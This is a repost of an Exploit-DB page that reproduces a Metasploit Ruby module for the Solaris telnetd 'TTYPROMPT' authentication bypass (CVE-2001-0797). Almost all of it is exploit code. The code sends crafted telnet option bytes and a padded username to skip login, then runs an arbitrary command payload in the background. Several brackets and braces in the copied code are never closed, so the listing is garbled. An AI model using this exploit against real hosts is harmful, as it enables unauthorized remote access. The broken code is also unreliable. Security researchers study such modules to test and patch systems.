Solaris TelnetD – ‘TTYPROMPT’ Remote Buffer Overflow (2) (Metasploit)

Exploit Database
131 阅读

作者： Metasploit

日期： 2010-06-22
类别：
- remote
平台：
- solaris
来源：https://www.exploit-db.com/exploits/16327/

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# $Id: ttyprompt.rb 9583 2010-06-22 19:11:05Z todb $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',

'Description'=> %q{

This module uses a buffer overflow in the Solaris 'login'

application to bypass authentication in the telnet daemon.

'Author' => [ 'MC', 'cazz' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9583 $',

'References' =>

[

[ 'CVE', '2001-0797'],

[ 'OSVDB', '690'],

[ 'BID', '5531'],

'Privileged' => false,

'Platform' => ['unix', 'solaris'],

'Arch' => ARCH_CMD,

'Payload'=>

{

'Space'=> 2000,

'BadChars' => '',

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl telnet',

}

'Targets'=>

[

['Automatic', { }],

'DisclosureDate' => 'Jan 18 2002',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(23),

OptString.new('USER', [ true, "The username to use", "bin" ]),

], self.class)

end

def exploit

connect

banner = sock.get_once

print_status('Setting TTYPROMPT...')

req =

"\xff\xfc\x18" +

"\xff\xfc\x1f" +

"\xff\xfc\x21" +

"\xff\xfc\x23" +

"\xff\xfb\x22" +

"\xff\xfc\x24" +

"\xff\xfb\x27" +

"\xff\xfb\x00" +

"\xff\xfa\x27\x00" +

"\x00TTYPROMPT" +

"\x01" +

rand_text_alphanumeric(6) +

"\xff\xf0"

sock.put(req)

select(nil,nil,nil,0.25)

print_status('Sending username...')

filler = rand_text_alpha(rand(10) + 1)

req << datastore['USER'] + (" #{filler}" * 65)

sock.put(req + "\n\n\n")

select(nil,nil,nil,0.25)

sock.get_once

sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

select(nil,nil,nil,0.25)

handler

end